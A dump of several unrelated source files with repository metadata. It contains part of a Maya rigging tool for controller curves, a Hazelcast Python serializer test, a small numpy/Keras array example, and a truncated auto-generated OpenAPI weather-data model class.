cmds.mirrorJoint(i , myz = True , mirrorBehavior=True , searchReplace=('L_', 'R_')) self.mirrorJointList_add.append(tempMirrorJoint2[0]) elif btn_XYZ[1] == 'Z': tempMirrorJoint2 = cmds.mirrorJoint(i , mxz = True , mirrorBehavior=True , searchReplace=('L_', 'R_')) self.mirrorJointList_add.append(tempMirrorJoint2[0]) cmds.ungroup(self.mirrorJointList_add) cmds.ungroup(self.mirrorJointList) def rotateControl(self): buttonXYZ = self.sender() btn = buttonXYZ.objectName() btn_XYZ = btn.split('_') sel = cmds.ls(sl=True) for i in sel: curveName = i curveShape = cmds.listRelatives( curveName, s=True )[0] cvNum = cmds.getAttr( '%s.spans' % curveShape ) + cmds.getAttr( '%s.degree' % curveShape ) cmds.select( "%s.cv[0:%s]" %(curveName,cvNum)) if btn_XYZ[1] == 'X': cmds.rotate(90,0,0,r=True,os =True) elif btn_XYZ[1] == 'Y': cmds.rotate(0,90,0,r=True,os =True) elif btn_XYZ[1] == 'Z': cmds.rotate(0,0,90,r=True,os =True) cmds.select(cl=True) for i in sel: cmds.select(i,tgl=True) def controllerMake(self): temp_sel = cmds.ls(sl=True) buttonHandle = self.sender() btn = buttonHandle.objectName() btn_number = btn.split('_') n = btn_number[1] if len(temp_sel) >= 1: for i in range(len(temp_sel)): self.chooseConShape(n) selMakeCON = cmds.ls(sl=True) cmds.delete(cmds.parentConstraint(temp_sel[i],selMakeCON,mo=0,w=1)) cmds.rename('%s_ctl' %temp_sel[i]) self.homeNull() else: self.chooseConShape(n) #selMakeCON = cmds.ls(sl=True) self.homeNull() def chooseConShape(self,number): # box n = number if n == '01': mel.eval('curve -d 1 -p 0.5 0.5 0.5 -p 0.5 0.5 -0.5 -p -0.5 0.5 -0.5 -p -0.5 -0.5 -0.5 -p 0.5 -0.5 -0.5 -p 0.5 0.5 -0.5 -p -0.5 0.5 -0.5 -p -0.5 0.5 0.5 -p 0.5 0.5 0.5 -p 0.5 -0.5 0.5 -p 0.5 -0.5 -0.5 -p -0.5 -0.5 -0.5 -p -0.5 -0.5 0.5 -p 0.5 -0.5 0.5 -p -0.5 -0.5 0.5 -p -0.5 0.5 0.5 -k 0 -k 1 -k 2 -k 3 -k 4 -k 5 -k 6 -k 7 -k 8 -k 9 -k 10 -k 11 -k 12 -k 13 -k 14 -k 15;') self.CON_name = 'box' # circle elif n == '02': mel.eval('circle -c 0 0 0 -nr 0 1 0 -sw 360 -r 0.5 -d 3 -ut 0 -tol 0.01 -s 8 -ch 0') self.CON_name = 'circle' # volume circle elif n == '03': mel.eval('curve -d 1 -p -0.504004 -0.0167178 -1.8995e-06 -p -0.486389 -0.0167178 0.130304 -p -0.436069 -0.0167178 0.251787 -p -0.356385 -0.0167178 0.356383 -p -0.251789 -0.0167178 0.436067 -p -0.130306 -0.0167178 0.486387 -p 0 -0.0167178 0.504002 -p 0.130306 -0.0167178 0.486387 -p 0.251789 -0.0167178 0.436067 -p 0.356385 -0.0167178 0.356383 -p 0.436069 -0.0167178 0.251787 -p 0.486389 -0.0167178 0.130304 -p 0.504004 -0.0167178 -1.8995e-06 -p 0.486389 -0.0167178 -0.130308 -p 0.436069 -0.0167178 -0.251791 -p 0.356385 -0.0167178 -0.356387 -p 0.251789 -0.0167178 -0.436071 -p 0.130306 -0.0167178 -0.486392 -p 0 -0.0167178 -0.504002 -p -0.130306 -0.0167178 -0.486392 -p -0.251789 -0.0167178 -0.436071 -p -0.356385 -0.0167178 -0.356387 -p -0.436069 -0.0167178 -0.251791 -p -0.486389 -0.0167178 -0.130308 -p -0.504004 -0.0167178 -1.8995e-06 -p -0.504004 0.0167178 -1.8995e-06 -p -0.486389 0.0167178 0.130304 -p -0.436069 0.0167178 0.251787 -p -0.356385 0.0167178 0.356383 -p -0.251789 0.0167178 0.436067 -p -0.130306 0.0167178 0.486387 -p 0 0.0167178 0.504002 -p 0 -0.0167178 0.504002 -p 0 0.0167178 0.504002 -p 0.130306 0.0167178 0.486387 -p 0.251789 0.0167178 0.436067 -p 0.356385 0.0167178 0.356383 -p 0.436069 0.0167178 0.251787 -p 0.486389 0.0167178 0.130304 -p 0.504004 0.0167178 -1.8995e-06 -p 0.504004 -0.0167178 -1.8995e-06 -p 0.504004 0.0167178 -1.8995e-06 -p 0.486389 0.0167178 -0.130308 -p 0.436069 0.0167178 -0.251791 -p 0.356385 0.0167178 -0.356387 -p 0.251789 0.0167178 -0.436071 -p 0.130306 0.0167178 -0.486392 -p 0 0.0167178 -0.504002 -p 0 -0.0167178 -0.504002 -p 0 0.0167178 -0.504002 -p -0.130306 0.0167178 -0.486392 -p -0.251789 0.0167178 -0.436071 -p -0.356385 0.0167178 -0.356387 -p -0.436069 0.0167178 -0.251791 -p -0.486389 0.0167178 -0.130308 -p -0.504004 0.0167178 -1.8995e-06 -p -0.504004 -0.0167178 -1.8995e-06 -p -0.504004 0.0167178 -1.8995e-06;') self.CON_name = 'volume circle ' # cross elif n == '04': mel.eval('curve -d 1 -p 0.165 0 0.495 -p 0.165 0 0.165 -p 0.495 0 0.165 -p 0.495 0 -0.165 -p 0.165 0 -0.165 -p 0.165 0 -0.495 -p -0.165 0 -0.495 -p -0.165 0 -0.165 -p -0.495 0 -0.165 -p -0.495 0 0.165 -p -0.165 0 0.165 -p -0.165 0 0.495 -p 0.165 0 0.495;') self.CON_name = 'cross' # fat cross elif n == '05': mel.eval('curve -d 1 -p 0.25 0 0.5 -p 0.25 0 0.25 -p 0.5 0 0.25 -p 0.5 0 -0.25 -p 0.25 0 -0.25 -p 0.25 0 -0.5 -p -0.25 0 -0.5 -p -0.25 0 -0.25 -p -0.5 0 -0.25 -p -0.5 0 0.25 -p -0.25 0 0.25 -p -0.25 0 0.5 -p 0.25 0 0.5;') self.CON_name = 'fat cross' # locator elif n == '06': mel.eval('curve -d 1 -p 0 0 0 -p 0.5 0 0 -p -0.5 0 0 -p 0 0 0 -p 0 0 0.5 -p 0 0 -0.5 -p 0 0 0 -p 0 -0.5 0 -p 0 0.5 0 -k 0 -k 1 -k 2 -k 3 -k 4 -k 5 -k 6 -k 7 -k 8;') self.CON_name = 'locator' # sphere elif n == '07': mel.eval('curve -d 1 -p 0 0 0.5 -p 0.353554 0 0.353554 -p 0.5 0 0 -p 0.353554 0 -0.353554 -p 0 0 -0.5 -p -0.353554 0 -0.353554 -p -0.5 0 0 -p -0.353554 0 0.353554 -p 0 0 0.5 -p 0 0.25 0.433013 -p 0 0.433013 0.25 -p 0 0.5 0 -p 0 0.433013 -0.25 -p 0 0.25 -0.433013 -p 0 0 -0.5 -p 0 -0.25 -0.433013 -p 0 -0.433013 -0.25 -p 0 -0.5 0 -p 0 -0.433013 0.25 -p 0 -0.25 0.433013 -p 0 0 0.5 -p 0.353554 0 0.353554 -p 0.5 0 0 -p 0.433013 0.25 0 -p 0.25 0.433013 0 -p 0 0.5 0 -p -0.25 0.433013 0 -p -0.433013 0.25 0 -p -0.5 0 0 -p -0.433013 -0.25 0 -p -0.25 -0.433013 0 -p 0 -0.5 0 -p 0.25 -0.433013 0 -p 0.433013 -0.25 0 -p 0.5 0 0;') self.CON_name = 'sphere' # octagon elif n == '08': mel.eval('curve -d 1 -p 0.246168 0 0.492335 -p 0.492335 0 0.246168 -p 0.492335 0 -0.246168 -p 0.246168 0 -0.492335 -p -0.246168 0 -0.492335 -p -0.492335 0 -0.246168 -p -0.492335 0 0.246168 -p -0.246168 0 0.492335 -p 0.246168 0 0.492335;') self.CON_name ='octagon' # volume octagon elif n == '09': mel.eval('curve -d 1 -p 0.246503 -0.044 0.493007 -p 0.493007 -0.044 0.246503 -p 0.493007 -0.044 -0.246503 -p 0.246503 -0.044 -0.493007 -p -0.246503 -0.044 -0.493007 -p -0.493007 -0.044 -0.246503 -p -0.493007 -0.044 0.246503 -p -0.246503 -0.044 0.493007 -p 0.246503 -0.044 0.493007 -p 0.246503 0.044 0.493007 -p 0.493007 0.044 0.246503 -p 0.493007 -0.044 0.246503 -p 0.493007 0.044 0.246503 -p 0.493007 0.044 -0.246503 -p 0.493007 -0.044 -0.246503 -p 0.493007 0.044 -0.246503 -p 0.246503 0.044 -0.493007 -p 0.246503 -0.044 -0.493007 -p 0.246503 0.044 -0.493007 -p -0.246503 0.044 -0.493007 -p -0.246503 -0.044 -0.493007 -p -0.246503 0.044 -0.493007 -p -0.493007 0.044 -0.246503 -p -0.493007 -0.044 -0.246503 -p -0.493007 0.044 -0.246503 -p -0.493007 0.044 0.246503 -p -0.493007 -0.044 0.246503 -p -0.493007 0.044 0.246503 -p -0.246503 0.044 0.493007 -p -0.246503 -0.044 0.493007 -p -0.246503 0.044 0.493007 -p 0.246503 0.044 0.493007 -p 0.246503 -0.044 0.493007;') self.CON_name = 'volume octagon' # rombus elif n == '10': mel.eval('curve -d 1 -p 0 0.5 0 -p 0.5 0 0 -p 0 0 0.5 -p -0.5 0 0 -p 0 0 -0.5 -p 0 0.5 0 -p 0 0 0.5 -p 0 -0.5 0 -p 0 0 -0.5 -p 0.5 0 0 -p 0 0.5 0 -p -0.5 0 0 -p 0 -0.5 0 -p 0.5 0 0;') self.CON_name = 'rombus' # root elif n == '11': mel.eval('curve -d 3 -p 0 0 0.514016 -p 0.215045 0 0.43009 -p 0.215045 0 0.43009 -p 0.215045 0 0.43009 -p 0.107523 0 0.43009 -p 0.107523 0 0.43009 -p 0.107523 0 0.43009 -p 0.107523 0 0.43009 -p 0.107523 0 0.348839 -p 0.107523 0 0.348839 -p 0.107523 0 0.348839 -p 0.165418 0 0.3301 -p 0.269267 0 0.268173 -p 0.330916 0 0.164045 -p 0.348514 0 0.107561 -p 0.348514 0 0.107561 -p 0.348514 0 0.107561 -p 0.348514 0 0.107561 -p 0.43009 0 0.107523 -p 0.43009 0 0.107523 -p 0.43009 0 0.107523 -p 0.43009 0 0.215045 -p 0.43009 0 0.215045 -p 0.43009 0 0.215045 -p 0.514016 0 0 -p 0.514016 0 0 -p 0.514016 0 0 -p 0.43009 0 -0.215045 -p 0.43009 0 -0.215045 -p 0.43009 0 -0.215045 -p 0.43009 0 -0.215045 -p 0.43009 0 -0.107523 -p 0.43009 0 -0.107523 -p 0.43009 0 -0.107523 -p 0.34749 0 -0.107523 -p 0.34749 0 -0.107523 -p 0.34749 0 -0.107523 -p 0.330753 0 -0.16432 -p 0.268043 0 -0.270089 -p 0.161744 0 -0.33227 -p 0.103842 0 -0.349651 -p 0.103842 0 -0.349651 -p 0.103842 0 -0.349651 -p 0.107523 0 -0.43009 -p 0.107523 0 -0.43009 -p 0.107523 0 -0.43009 -p 0.215045 0 -0.43009 -p 0.215045 0 -0.43009 -p 0.215045 0 -0.43009 -p 0 0 -0.514016 -p 0 0 -0.514016 -p 0 0 -0.514016 -p -0.215045 0 -0.43009 -p -0.215045 0 -0.43009 -p -0.215045 0 -0.43009 -p -0.215045 0 -0.43009 -p -0.107523 0 -0.43009 -p -0.107523 0 -0.43009 -p -0.107523 0 -0.43009 -p -0.107523 0 -0.43009 -p -0.106926 0 -0.348711 -p -0.106926 0 -0.348711 -p -0.106926 0 -0.348711 -p -0.106926 0 -0.348711 -p -0.163653 0 -0.331148 -p -0.268767 0 -0.269043 -p -0.330943 0 -0.163999 -p -0.348078 0 -0.107523 -p -0.348078 0 -0.107523 -p -0.348078 0 -0.107523 -p -0.348078 0 -0.107523 -p -0.43009 0 -0.107523 -p -0.43009 0 -0.107523 -p -0.43009 0 -0.107523 -p -0.43009 0 -0.215045 -p -0.43009 0 -0.215045 -p -0.43009 0 -0.215045 -p -0.43009 0 -0.215045 -p -0.514016 0 0 -p -0.514016 0 0 -p -0.514016 0 0 -p -0.514016 0 0 -p -0.43009 0 0.215045 -p -0.43009 0 0.215045 -p -0.43009 0 0.215045 -p -0.43009 0 0.215045 -p -0.43009 0 0.107523 -p -0.43009 0 0.107523 -p -0.43009 0 0.107523 -p -0.43009 0 0.107523 -p -0.347279 0 0.107523 -p -0.347279 0 0.107523 -p -0.347279 0 0.107523 -p -0.347279 0 0.107523 -p -0.331036 0 0.163843 -p -0.269226 0 0.268353 -p -0.164939 0 0.330385 -p -0.109006 0 0.348061 -p -0.109006 0 0.348061 -p -0.109006 0 0.348061 -p -0.109006 0 0.348061 -p -0.107523 0 0.43009 -p -0.107523 0 0.43009 -p -0.107523 0 0.43009 -p -0.107523 0 0.43009 -p -0.215045 0 0.43009 -p -0.215045 0 0.43009 -p -0.215045 0 0.43009 -p 0 0 0.514016 -p 0 0 0.514016 -p 0 0 0.514016 -p 0 0 0.514016;') self.CON_name = 'root' # hexagon elif n == '12': mel.eval('curve -d 1 -p -0.257187 0 0.445461 -p 0.257187 0 0.445461 -p 0.514375 0 2.51218e-07 -p 0.257187 0 -0.445461 -p -0.257187 0 -0.445461 -p -0.514375 0 1.69509e-07 -p -0.257187 0 0.445461;') self.CON_name = 'hexagon' # square elif n == '13': mel.eval('curve -d 1 -p -0.5 0 0.5 -p 0.5 0 0.5 -p 0.5 0 -0.5 -p -0.5 0 -0.5 -p -0.5 0 0.5;') self.CON_name = 'square' # pyramid elif n == '14': mel.eval('curve -d 1 -p 0 0.405941 -0.405941 -p 0 0.405941 0.405941 -p 0 -0.405941 0.405941 -p 2.029703 0 0 -p 0 0.405941 0.405941 -p 0 0.405941 -0.405941 -p 2.029703 0 0 -p 0 -0.405941 -0.405941 -p 0 0.405941 -0.405941 -p 0 0.405941 0.405941 -p 0 -0.405941 0.405941 -p 0 -0.405941 -0.405941 -k 0 -k 1 -k 2 -k 3 -k 4 -k 5 -k 6 -k 7 -k 8 -k 9 -k 10 -k 11 ;') self.CON_name = 'pyramid' # boxPin elif n == '15': mel.eval('curve -d 1 -p 0 0.521014 0 -p 0 0.370427 0.150588 -p 0 0.370427 0.301176 -p 0 -0.231927 0.301176 -p 0 -0.231927 -0.301176 -p 0 0.370427 -0.301176 -p 0 0.370427 -0.150588 -p 0 0.521014 0 -k 0 -k 1 -k 2 -k 3 -k 4 -k 5 -k 6 -k 7 ;') self.CON_name = 'boxPin' # pin elif n == '16': mel.eval('curve -d 1 -p 0 -0.402236 0 -p 0 0.330789 0 -p 0 0.351072 0.128059 -p 0 0.409934 0.243582 -p 0 0.501614 0.335262 -p 0 0.617137 0.394124 -p 0 0.745196 0.414406 -p 0 0.873254 0.394124 -p 0 0.988778 0.335262 -p 0 1.080458 0.243582 -p 0 1.13932 0.128059 -p 0 1.159602 0 -p 0 1.13932 -0.128059 -p 0 1.080458 -0.243582 -p 0 0.988778 -0.335262 -p 0 0.873255 -0.394124 -p 0 0.745196 -0.414406 -p 0 0.617137 -0.394124 -p 0 0.501614 -0.335262 -p 0 0.409934 -0.243582 -p 0 0.351072 -0.128059 -p 0 0.330789 0 -k 0 -k 1 -k 2 -k 3 -k 4 -k 5 -k 6 -k 7 -k 8 -k 9 -k 10 -k 11 -k 12 -k 13 -k 14 -k 15 -k 16 -k 17 -k 18 -k 19 -k 20 -k 21 ;') self.CON_name = 'pin' self.ui.curveClear_BTN.setText(self.CON_name) # elif i == '17': # cmds.circle(nr=(1,0,0), sw=360, r=1, d=3 , ut=0, s=8, ch=1) # elif i == '18': # cmds.circle(nr=(1,0,0), sw=360, r=1, d=3 , ut=0, s=8, ch=1) # elif i == '19': # cmds.circle(nr=(1,0,0), sw=360, r=1, d=3 , ut=0, s=8, ch=1) # elif i == '20': # cmds.circle(nr=(1,0,0), sw=360, r=1, d=3 , ut=0, s=8, ch=1) # elif i == '21': # cmds.circle(nr=(1,0,0), sw=360, r=1, d=3 , ut=0, s=8, ch=1) # elif i == '22': # cmds.circle(nr=(1,0,0), sw=360, r=1, d=3 , ut=0, s=8, ch=1) # elif i == '23': # cmds.circle(nr=(1,0,0), sw=360, r=1, d=3 , ut=0, s=8, ch=1) # pyramid # elif n == '24': # cmds.curve( d=1 , p =[(5, 0, 0),( 0, 1, -1 ),( 0, 1, 1 ),( 5 ,0, 0 ),( 0 ,-1, 1 ),( 0, 1, 1 ),( 0, 1, -1 ),( 0, -1, -1 ),( 0, -1, 1 ),( 0, -1, -1 ),( 5, 0, 0 )], k = [0,1,2,3,4,5,6,7,8,9,10] ) # # half arrow # elif n == '25': # cmds.curve( d=1 , p =[(0, 0, 0 ),( 0, -1, 0 ),( 0.35, -0.4, 0 ),( 0, -0.4, 0 )], k = [0,1,2,3] ) # # fat arrow # elif n == '26': # cmds.curve( d=1 , p =[(1.5 ,0, 0),( 0.9, 0.3, 0),( 0.9 ,0.15, 0 ),( 0 ,0.15, 0 ),( 0 ,-0.15, 0 ),( 0.9 ,-0.15, 0 ),( 0.9, -0.3, 0 ),( 1.5, 0, 0)], k = [0,1,2,3,4,5,6,7] ) # # circle2 # elif n == '27': # cmds.circle(nr=(1,0,0), sw=360, r=1, d=3 , ut=0, s=8, ch=1) # # box2 # elif n == '28': # cmds.curve( d=1, p =[(-1,-1,-1),(-1,-1,1),(1,-1,1),(1,-1,-1),(-1,-1,-1),(-1,1,-1),(-1,1,1),(-1,-1,1),(1,-1,1),(1,1,1),(-1,1,1),(-1,1,-1),(1,1,-1),(1,1,1),(1,-1,1),(1,-1,-1),(1,1,-1)], k =[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16] ) def curveClear(self): self.CON_name = 'Controller Maker' del self.temp_CON[0:len(self.temp_CON)] self.ui.curveClear_BTN.setText(self.CON_name) def setFilename(self): self.JsonName = str(self.ui.fileName_LIE.text()) return self.JsonName def setMayaFolder(self): # #cmds.workspace (dir=startFolder) self.mayaFolder = cmds.fileDialog2(fm=3, caption = "Set")[0] # print self.mayaFolder # # When you press cancel or close, mayaFolder would be None and not running this code. if self.mayaFolder: #setPath = self.browseForFolderCallback(mayaFolder[0]) self.ui.expConPath_LIE.setText( self.mayaFolder ) def makeCurveDic(self): self.curveDic = {} selCurveShape = cmds.ls(sl=True, dag=True, ni=True, type='nurbsCurve') cvCountList = [] for i in range(len(selCurveShape)): if cmds.getAttr('%s.f' %selCurveShape[i])==2: cvCount = cmds.getAttr( '%s.spans' %selCurveShape[i]) else: cvCount = cmds.getAttr( '%s.spans' %selCurveShape[i]) + cmds.getAttr( '%s.degree' % selCurveShape[i] ) cvCountList.append( cvCount ) count = 0 while count < len( cvCountList ): self.curveDic[selCurveShape[count]] = {} for cvNum in range( cvCountList[count]): cvPosition = cmds.pointPosition( '%s.cv[%s]' %( selCurveShape[count], cvNum ) ,l=True) self.curveDic[selCurveShape[count]][cvNum] = cvPosition count = count + 1 def exportCON_JSON(self): self.setFilename() self.makeCurveDic() filePath = self.mayaFolder +'/'+ self.JsonName +'.json' # write F = open( filePath, 'w' ) F.write(json.dumps( self.curveDic, indent = 4 )) F.close() QtWidgets.QMessageBox.information(self, "Done", 'Your curves exported here. "%s"' %filePath, QtWidgets.QMessageBox.Ok) def importCON_JSON(self): # self.mayaFolder2 = cmds.fileDialog2(fm=3, caption = "Set")[0] # filePath = self.mayaFolder + self.JsonName +'.json' basicFilter = "*.json" filePath = cmds.fileDialog2(ff=basicFilter, dialogStyle=1,fm=1,rf=True) # load F = open( str(filePath[0]) ) self.loadedData = json.load( F ) F.close() jsonKeys = self.loadedData.keys() for i in jsonKeys: curveShapeKeys = self.loadedData[i].keys() for j in curveShapeKeys: controlPoints = self.loadedData[i][j] cmds.setAttr("%s.controlPoints[%s].xValue" %(i,j), controlPoints[0]) cmds.setAttr("%s.controlPoints[%s].yValue" %(i,j), controlPoints[1]) cmds.setAttr("%s.controlPoints[%s].zValue" %(i,j), controlPoints[2]) #------------------------------------------------------------------------------------------------------------------------ def OPEN(): global Window try: Window.close() Window.deleteLater() except: pass Window = uiMainWindow() Window.ui.show()
ec3279a0d583a81c3f3babb1c9cf24cf74075378
2e4023d59718d87e1940b27ada9155a9a47a7668
/tests/serialization/serializers_test.py
78ee84a4e45f73535abd4bd8f1ecd15917121351
[ "Apache-2.0" ]
permissive
olukas/hazelcast-python-client
c71038a22b73de894320d641dbf617509049c63d
63bcbaaef0bf755e4e94e8e536d19d964e02144a
refs/heads/master
2020-03-20T21:27:02.460282
2018-06-18T11:50:39
2018-06-19T12:02:37
137,741,377
0
0
null
2018-06-18T11:02:55
2018-06-18T11:02:55
null
UTF-8
Python
false
false
3,526
py
import binascii from hzrc.ttypes import Lang from hazelcast.config import SerializationConfig, INTEGER_TYPE from hazelcast.serialization.data import Data from hazelcast.serialization.serialization_const import CONSTANT_TYPE_DOUBLE from hazelcast.serialization.service import SerializationServiceV1 from tests.base import SingleMemberTestCase class SerializersTestCase(SingleMemberTestCase): def setUp(self): config = SerializationConfig() config.default_integer_type = INTEGER_TYPE.BIG_INT self.service = SerializationServiceV1(serialization_config=config) def tearDown(self): self.service.destroy() def test_none_serializer(self): none = None data_n = self.service.to_data(none) self.assertIsNone(data_n) self.assertIsNone(self.service.to_object(Data())) def test_boolean_serializer(self): true = True false = False data_t = self.service.to_data(true) data_f = self.service.to_data(false) obj_t = self.service.to_object(data_t) obj_f = self.service.to_object(data_f) self.assertEqual(true, obj_t) self.assertEqual(false, obj_f) def test_char_type_serializer(self): buff = bytearray(binascii.unhexlify("00000000fffffffb00e7")) data = Data(buff) obj = self.service.to_object(data) self.assertEqual(unichr(0x00e7), obj) def test_float(self): buff = bytearray(binascii.unhexlify("00000000fffffff700000000")) data = Data(buff) obj = self.service.to_object(data) self.assertEqual(0.0, obj) def test_double(self): double = 1.0 data = self.service.to_data(double) obj = self.service.to_object(data) self.assertEqual(data.get_type(), CONSTANT_TYPE_DOUBLE) self.assertEqual(double, obj) def test_datetime(self): year = 2000 month = 11 day = 15 hour = 23 minute = 59 second = 49 script = """ from java.util import Date, Calendar cal = Calendar.getInstance() cal.set({}, ({}-1), {}, {}, {}, {}) result=instance_0.getSerializationService().toBytes(cal.getTime()) """.format(year, month, day, hour, minute, second) response = self.rc.executeOnController(self.cluster.id, script, Lang.PYTHON) data = Data(response.result) val = self.service.to_object(data) self.assertEqual(year, val.year) self.assertEqual(month, val.month) self.assertEqual(day, val.day) self.assertEqual(hour, val.hour) self.assertEqual(minute, val.minute) self.assertEqual(second, val.second) def test_big_int_small(self): self._big_int_test(12) def test_big_int_small_neg(self): self._big_int_test(-13) def test_big_int(self): self._big_int_test(1234567890123456789012345678901234567890) def test_big_int_neg(self): self._big_int_test(-1234567890123456789012345678901234567890) def _big_int_test(self, big_int): script = """from java.math import BigInteger result=instance_0.getSerializationService().toBytes(BigInteger("{}",10))""".format(big_int) response = self.rc.executeOnController(self.cluster.id, script, Lang.PYTHON) data = Data(response.result) val = self.service.to_object(data) data_local = self.service.to_data(big_int) self.assertEqual(binascii.hexlify(data._buffer), binascii.hexlify(data_local._buffer)) self.assertEqual(big_int, val)
23033e06f849b85dadc20b94437ee03c24802976
c7f43c4cc0ee84a5fe246b67f51e30b8d726ebd5
/keras/keras09_mlp.py
44099b84aa0e9f80008f67c742b96110ca820afa
[]
no_license
89Mansions/AI_STUDY
d9f8bdf206f14ba41845a082e731ea844d3d9007
d87c93355c949c462f96e85e8d0e186b0ce49c76
refs/heads/master
2023-07-21T19:11:23.539693
2021-08-30T08:18:59
2021-08-30T08:18:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
338
py
import numpy as np # x = np.array([1,2,3,4,5,6,7,8,9,10]) # 스칼라가 10개인 벡터 x x = np.array([[1,2,3,4,5,6,7,8,9,10], [1,2,3,4,5,6,7,8,9,10]]) # 스칼라가 10개인 벡터가 두 개인 행렬 y = np.array([1,2,3,4,5,6,7,8,9,10]) print(x.shape) #(10,) - 스칼라가 10개라는 의미 ----> (2, 10)
5bb5c4b02a0bc44e5dc8e8d0385746704ce0e2bf
d989c42f7122b783bbf330fbb194c8872c947424
/deutschland/dwd/model/warning_nowcast.py
ed2f3f91637ac4e2040d7329d57b3e024f96839d
[ "Apache-2.0" ]
permissive
auchtetraborat/deutschland
3c5c206cbe86ad015c7fef34c10e6c9afbc3b971
fdc78d577c5c276629d31681ffc30e364941ace4
refs/heads/main
2023-08-24T08:17:51.738220
2021-10-20T19:35:46
2021-10-20T19:35:46
403,704,859
0
0
Apache-2.0
2021-09-06T17:19:21
2021-09-06T17:19:20
null
UTF-8
Python
false
false
11,997
py
""" Deutscher Wetterdienst: API Aktuelle Wetterdaten von allen Deutschen Wetterstationen # noqa: E501 The version of the OpenAPI document: 1.0.0 Generated by: https://openapi-generator.tech """ import re # noqa: F401 import sys # noqa: F401 from deutschland.dwd.model_utils import ( # noqa: F401 ApiTypeError, ModelComposed, ModelNormal, ModelSimple, cached_property, change_keys_js_to_python, convert_js_args_to_python_args, date, datetime, file_type, none_type, validate_get_composed_info, ) from ..model_utils import OpenApiModel from deutschland.dwd.exceptions import ApiAttributeError def lazy_import(): from deutschland.dwd.model.warning_nowcast_warnings import WarningNowcastWarnings globals()["WarningNowcastWarnings"] = WarningNowcastWarnings class WarningNowcast(ModelNormal): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. Attributes: allowed_values (dict): The key is the tuple path to the attribute and the for var_name this is (var_name,). The value is a dict with a capitalized key describing the allowed value and an allowed value. These dicts store the allowed enum values. attribute_map (dict): The key is attribute name and the value is json key in definition. discriminator_value_class_map (dict): A dict to go from the discriminator variable value to the discriminator class name. validations (dict): The key is the tuple path to the attribute and the for var_name this is (var_name,). The value is a dict that stores validations for max_length, min_length, max_items, min_items, exclusive_maximum, inclusive_maximum, exclusive_minimum, inclusive_minimum, and regex. additional_properties_type (tuple): A tuple of classes accepted as additional properties values. """ allowed_values = {} validations = {} @cached_property def additional_properties_type(): """ This must be a method because a model may have properties that are of type self, this must run after the class is loaded """ lazy_import() return ( bool, date, datetime, dict, float, int, list, str, none_type, ) # noqa: E501 _nullable = False @cached_property def openapi_types(): """ This must be a method because a model may have properties that are of type self, this must run after the class is loaded Returns openapi_types (dict): The key is attribute name and the value is attribute type. """ lazy_import() return { "time": (int,), # noqa: E501 "warnings": ([WarningNowcastWarnings],), # noqa: E501 "binnen_see": ( str, none_type, ), # noqa: E501 } @cached_property def discriminator(): return None attribute_map = { "time": "time", # noqa: E501 "warnings": "warnings", # noqa: E501 "binnen_see": "binnenSee", # noqa: E501 } read_only_vars = {} _composed_schemas = {} @classmethod @convert_js_args_to_python_args def _from_openapi_data(cls, *args, **kwargs): # noqa: E501 """WarningNowcast - a model defined in OpenAPI Keyword Args: _check_type (bool): if True, values for parameters in openapi_types will be type checked and a TypeError will be raised if the wrong type is input. Defaults to True _path_to_item (tuple/list): This is a list of keys or values to drill down to the model in received_data when deserializing a response _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _configuration (Configuration): the instance to use when deserializing a file_type parameter. If passed, type conversion is attempted If omitted no type conversion is done. _visited_composed_classes (tuple): This stores a tuple of classes that we have traveled through so that if we see that class again we will not use its discriminator again. When traveling through a discriminator, the composed schema that is is traveled through is added to this set. For example if Animal has a discriminator petType and we pass in "Dog", and the class Dog allOf includes Animal, we move through Animal once using the discriminator, and pick Dog. Then in Dog, we will make an instance of the Animal class but this time we won't travel through its discriminator because we passed in _visited_composed_classes = (Animal,) time (int): [optional] # noqa: E501 warnings ([WarningNowcastWarnings]): [optional] # noqa: E501 binnen_see (str, none_type): [optional] # noqa: E501 """ _check_type = kwargs.pop("_check_type", True) _spec_property_naming = kwargs.pop("_spec_property_naming", False) _path_to_item = kwargs.pop("_path_to_item", ()) _configuration = kwargs.pop("_configuration", None) _visited_composed_classes = kwargs.pop("_visited_composed_classes", ()) self = super(OpenApiModel, cls).__new__(cls) if args: raise ApiTypeError( "Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments." % ( args, self.__class__.__name__, ), path_to_item=_path_to_item, valid_classes=(self.__class__,), ) self._data_store = {} self._check_type = _check_type self._spec_property_naming = _spec_property_naming self._path_to_item = _path_to_item self._configuration = _configuration self._visited_composed_classes = _visited_composed_classes + (self.__class__,) for var_name, var_value in kwargs.items(): if ( var_name not in self.attribute_map and self._configuration is not None and self._configuration.discard_unknown_keys and self.additional_properties_type is None ): # discard variable. continue setattr(self, var_name, var_value) return self required_properties = set( [ "_data_store", "_check_type", "_spec_property_naming", "_path_to_item", "_configuration", "_visited_composed_classes", ] ) @convert_js_args_to_python_args def __init__(self, *args, **kwargs): # noqa: E501 """WarningNowcast - a model defined in OpenAPI Keyword Args: _check_type (bool): if True, values for parameters in openapi_types will be type checked and a TypeError will be raised if the wrong type is input. Defaults to True _path_to_item (tuple/list): This is a list of keys or values to drill down to the model in received_data when deserializing a response _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _configuration (Configuration): the instance to use when deserializing a file_type parameter. If passed, type conversion is attempted If omitted no type conversion is done. _visited_composed_classes (tuple): This stores a tuple of classes that we have traveled through so that if we see that class again we will not use its discriminator again. When traveling through a discriminator, the composed schema that is is traveled through is added to this set. For example if Animal has a discriminator petType and we pass in "Dog", and the class Dog allOf includes Animal, we move through Animal once using the discriminator, and pick Dog. Then in Dog, we will make an instance of the Animal class but this time we won't travel through its discriminator because we passed in _visited_composed_classes = (Animal,) time (int): [optional] # noqa: E501 warnings ([WarningNowcastWarnings]): [optional] # noqa: E501 binnen_see (str, none_type): [optional] # noqa: E501 """ _check_type = kwargs.pop("_check_type", True) _spec_property_naming = kwargs.pop("_spec_property_naming", False) _path_to_item = kwargs.pop("_path_to_item", ()) _configuration = kwargs.pop("_configuration", None) _visited_composed_classes = kwargs.pop("_visited_composed_classes", ()) if args: raise ApiTypeError( "Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments." % ( args, self.__class__.__name__, ), path_to_item=_path_to_item, valid_classes=(self.__class__,), ) 